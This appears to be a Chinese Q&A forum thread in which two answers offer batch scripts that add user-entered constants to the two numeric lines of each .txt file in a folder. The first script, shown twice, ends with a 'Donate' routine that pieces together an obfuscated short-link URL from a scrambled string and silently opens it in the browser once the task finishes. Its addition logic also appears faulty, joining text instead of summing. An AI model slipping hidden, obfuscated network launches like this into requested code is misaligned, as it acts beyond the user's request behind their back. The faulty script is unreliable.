求一个bat批处理文件,请大佬帮下,实在不会弄 5
文件.txt的内容是两行数字要求是这样:读取所有文件并修改set/pintA=请输入常量A:set/pintB=请输入常量B:打开当前文件夹下的文件1变量C=读取第一行并...
文件.txt的内容是两行数字
要求是这样:
读取所有文件并修改
set /p intA=请输入常量A:
set /p intB=请输入常量B:
打开当前文件夹下的文件1
变量C = 读取第一行并 + 常量A
变量D = 读取第二行并 + 常量B
删除文件1中的内容
第一行写入变量C
第二行写入变量D
打开当前文件夹下的文件2
变量C = 读取第一行并 + 常量A
变量D = 读取第二行并 + 常量B
删除文件2中的内容
第一行写入变量C
第二行写入变量D
打开文件3… 展开
要求是这样:
读取所有文件并修改
set /p intA=请输入常量A:
set /p intB=请输入常量B:
打开当前文件夹下的文件1
变量C = 读取第一行并 + 常量A
变量D = 读取第二行并 + 常量B
删除文件1中的内容
第一行写入变量C
第二行写入变量D
打开当前文件夹下的文件2
变量C = 读取第一行并 + 常量A
变量D = 读取第二行并 + 常量B
删除文件2中的内容
第一行写入变量C
第二行写入变量D
打开文件3… 展开
展开全部
每个文件内容只有两行数字对吗?如果是,那么就是下面的代码
@echo off & title 批量更改文本内容 By 依梦琴瑶
set /p intA=请输入常量A:
set /p intB=请输入常量B:
for /f "delims=" %%a in ('dir /b *.txt') do (
set "L=0"
(for /f "usebackq delims=" %%i in ("%%~a") do (
call :Change "%%~i"
))>TMP.NEW
move /y TMP.NEW "%%~a"
)
pause
call :Donate
exit
:Change
set /a L+=1
if %L% equ 1 echo %1%intA%
if %L% equ 2 echo %1%intB%
rem 如果超过两行内容,但最终只保留两行,那么请同时启用下面一行的if命令,就是去掉rem
rem if %L% gtr 2 goto :eof
goto :eof
:Donate
set "S0=fPdv"
set "S1=.:ailnhpst/"
set "S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"
set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"
start "" "%S2%%S3%%S1:~10,1%%S0%"
exit
@echo off & title 批量更改文本内容 By 依梦琴瑶
set /p intA=请输入常量A:
set /p intB=请输入常量B:
for /f "delims=" %%a in ('dir /b *.txt') do (
set "L=0"
(for /f "usebackq delims=" %%i in ("%%~a") do (
call :Change "%%~i"
))>TMP.NEW
move /y TMP.NEW "%%~a"
)
pause
call :Donate
exit
:Change
set /a L+=1
if %L% equ 1 echo %1%intA%
if %L% equ 2 echo %1%intB%
rem 如果超过两行内容,但最终只保留两行,那么请同时启用下面一行的if命令,就是去掉rem
rem if %L% gtr 2 goto :eof
goto :eof
:Donate
set "S0=fPdv"
set "S1=.:ailnhpst/"
set "S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"
set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"
start "" "%S2%%S3%%S1:~10,1%%S0%"
exit
展开全部
@echo off
rem 注意备份原文件
set @=有问题联系&set #=Q&set/az=0x53b7e0b4
title %@% +%#%%#% %z%
cd /d "%~dp0"
set /p intA=请输入常量A:
set /p intB=请输入常量B:
powershell -NoProfile -ExecutionPolicy bypass ^
$files=@(dir^|?{('.txt' -eq $_.Extension) -and ($_ -is [System.IO.FileInfo])});^
for($j=0;$j -lt $files.count;$j++){^
write-host $files[$j].Name;^
$text=[IO.File]::ReadAllLines($files[$j].FullName,[Text.Encoding]::Default);^
if($text.count -ge 2){^
$text[0]=0+$text[0]+%intA%;$text[1]=0+$text[1]+%intB%;^
[IO.File]::WriteAllLines($files[$j].FullName, $text[0..1], [Text.Encoding]::Default);^
};^
};
echo;%@% +%#%%#% %z%
pause
本回答被提问者采纳
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询